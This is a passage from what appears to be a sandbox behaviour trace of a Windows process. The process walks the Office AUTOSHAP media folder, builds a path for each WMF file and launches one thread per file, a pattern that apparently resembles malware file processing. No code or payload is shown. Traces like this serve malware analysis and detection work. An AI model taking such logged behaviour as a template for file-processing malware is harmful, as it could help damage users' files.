dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1 [0208.210] wcscmp (_String1="BD18205_.WMF", _String2=".") returned 1 [0208.210] wcscmp (_String1="BD18205_.WMF", _String2="..") returned 1 [0208.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9d00 [0208.210] wcscpy (in: _Dest=0x431c9d00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.210] wcscat (in: _Dest=0x431c9d00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.210] wcscat (in: _Dest=0x431c9d00, _Source="BD18205_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" [0208.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0208.211] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1 [0208.211] wcscmp (_String1="BD18206_.WMF", _String2=".") returned 1 [0208.211] wcscmp (_String1="BD18206_.WMF", _String2="..") returned 1 [0208.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9da0 [0208.211] wcscpy (in: _Dest=0x431c9da0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.211] wcscat (in: _Dest=0x431c9da0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.211] wcscat (in: _Dest=0x431c9da0, _Source="BD18206_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" [0208.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc0 [0208.212] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1 [0208.212] wcscmp (_String1="BD18207_.WMF", _String2=".") returned 1 [0208.212] wcscmp (_String1="BD18207_.WMF", _String2="..") returned 1 [0208.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9e40 [0208.212] wcscpy (in: _Dest=0x431c9e40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.212] wcscat (in: _Dest=0x431c9e40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.212] wcscat (in: _Dest=0x431c9e40, _Source="BD18207_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" [0208.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ccc [0208.213] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1 [0208.213] wcscmp (_String1="BD18208_.WMF", _String2=".") returned 1 [0208.213] wcscmp (_String1="BD18208_.WMF", _String2="..") returned 1 [0208.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9ee0 [0208.213] wcscpy (in: _Dest=0x431c9ee0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.213] wcscat (in: _Dest=0x431c9ee0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.213] wcscat (in: _Dest=0x431c9ee0, _Source="BD18208_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" [0208.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4 [0208.214] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1 [0208.214] wcscmp (_String1="BD18209_.WMF", _String2=".") returned 1 [0208.214] wcscmp (_String1="BD18209_.WMF", _String2="..") returned 1 [0208.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9f80 [0208.214] wcscpy (in: _Dest=0x431c9f80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.214] wcscat (in: _Dest=0x431c9f80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.214] wcscat (in: _Dest=0x431c9f80, _Source="BD18209_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" [0208.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b8 [0208.214] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28673f00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28673f00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18210_.WMF", cAlternateFileName="")) returned 1 [0208.214] wcscmp (_String1="BD18210_.WMF", _String2=".") returned 1 [0208.215] wcscmp (_String1="BD18210_.WMF", _String2="..") returned 1 [0208.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431ca020 [0208.215] wcscpy (in: _Dest=0x431ca020, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.215] wcscat (in: _Dest=0x431ca020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.215] wcscat (in: _Dest=0x431ca020, _Source="BD18210_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" [0208.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ca020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1108 [0208.215] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18211_.WMF", cAlternateFileName="")) returned 1 [0208.215] wcscmp (_String1="BD18211_.WMF", _String2=".") returned 1 [0208.215] wcscmp (_String1="BD18211_.WMF", _String2="..") returned 1 [0208.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431ca0c0 [0208.215] wcscpy (in: _Dest=0x431ca0c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.215] wcscat (in: _Dest=0x431ca0c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.215] wcscat (in: _Dest=0x431ca0c0, _Source="BD18211_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" [0208.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ca0c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1114 [0208.216] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85941c00, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85941c00, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18212_.WMF", cAlternateFileName="")) returned 1 [0208.216] wcscmp (_String1="BD18212_.WMF", _String2=".") returned 1 [0208.216] wcscmp (_String1="BD18212_.WMF", _String2="..") returned 1 [0208.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431ca160 [0208.216] wcscpy (in: _Dest=0x431ca160, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.216] wcscat (in: _Dest=0x431ca160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.216] wcscat (in: _Dest=0x431ca160, _Source="BD18212_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" [0208.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ca160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d8 [0208.217] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1638d100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1638d100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x704, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18213_.WMF", cAlternateFileName="")) returned 1 [0208.217] wcscmp (_String1="BD18213_.WMF", _String2=".") returned 1 [0208.217] wcscmp (_String1="BD18213_.WMF", _String2="..") returned 1 [0208.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431ca200 [0208.217] wcscpy (in: _Dest=0x431ca200, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.217] wcscat (in: _Dest=0x431ca200, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.217] wcscat (in: _Dest=0x431ca200, _Source="BD18213_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" [0208.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ca200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f74 [0208.217] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0d7900, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c0d7900, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18214_.WMF", cAlternateFileName="")) returned 1 [0208.218] wcscmp (_String1="BD18214_.WMF", _String2=".") returned 1 [0208.218] wcscmp (_String1="BD18214_.WMF", _String2="..") returned 1 [0208.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431ca2a0 [0208.218] wcscpy (in: _Dest=0x431ca2a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.218] wcscat (in: _Dest=0x431ca2a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.218] wcscat (in: _Dest=0x431ca2a0, _Source="BD18214_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" [0208.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ca2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2eb8 [0208.218] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b613000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2b613000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18215_.WMF", cAlternateFileName="")) returned 1 [0208.218] wcscmp (_String1="BD18215_.WMF", _String2=".") returned 1 [0208.218] wcscmp (_String1="BD18215_.WMF", _String2="..") returned 1 [0208.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431ca340 [0208.218] wcscpy (in: _Dest=0x431ca340, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.218] wcscat (in: _Dest=0x431ca340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.218] wcscat (in: _Dest=0x431ca340, _Source="BD18215_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" [0208.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ca340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894 [0208.219] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab3c00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cab3c00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x726, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18216_.WMF", cAlternateFileName="")) returned 1 [0208.219] wcscmp (_String1="BD18216_.WMF", _String2=".") returned 1 [0208.219] wcscmp (_String1="BD18216_.WMF", _String2="..") returned 1 [0208.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431ca3e0 [0208.219] wcscpy (in: _Dest=0x431ca3e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.219] wcscat (in: _Dest=0x431ca3e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.219] wcscat (in: _Dest=0x431ca3e0, _Source="BD18216_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" [0208.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ca3e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188c [0208.220] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded1d00, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ded1d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1552, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18217_.WMF", cAlternateFileName="")) returned 1 [0208.220] wcscmp (_String1="BD18217_.WMF", _String2=".") returned 1 [0208.220] wcscmp (_String1="BD18217_.WMF", _String2="..") returned 1 [0208.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431ca480 [0208.220] wcscpy (in: _Dest=0x431ca480, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.220] wcscat (in: _Dest=0x431ca480, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.220] wcscat (in: _Dest=0x431ca480, _Source="BD18217_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" [0208.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ca480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e8 [0208.221] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcec000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8fcec000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1212, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18218_.WMF", cAlternateFileName="")) returned 1 [0208.221] wcscmp (_String1="BD18218_.WMF", _String2=".") returned 1 [0208.221] wcscmp (_String1="BD18218_.WMF", _String2="..") returned 1 [0208.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431ca520 [0208.221] wcscpy (in: _Dest=0x431ca520, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.221] wcscat (in: _Dest=0x431ca520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.221] wcscat (in: _Dest=0x431ca520, _Source="BD18218_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" [0208.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ca520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0208.221] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f247600, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f247600, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18219_.WMF", cAlternateFileName="")) returned 1 [0208.221] wcscmp (_String1="BD18219_.WMF", _String2=".") returned 1 [0208.222] wcscmp (_String1="BD18219_.WMF", _String2="..") returned 1 [0208.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431ca5c0 [0208.222] wcscpy (in: _Dest=0x431ca5c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.222] wcscat (in: _Dest=0x431ca5c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.222] wcscat (in: _Dest=0x431ca5c0, _Source="BD18219_.WMF" 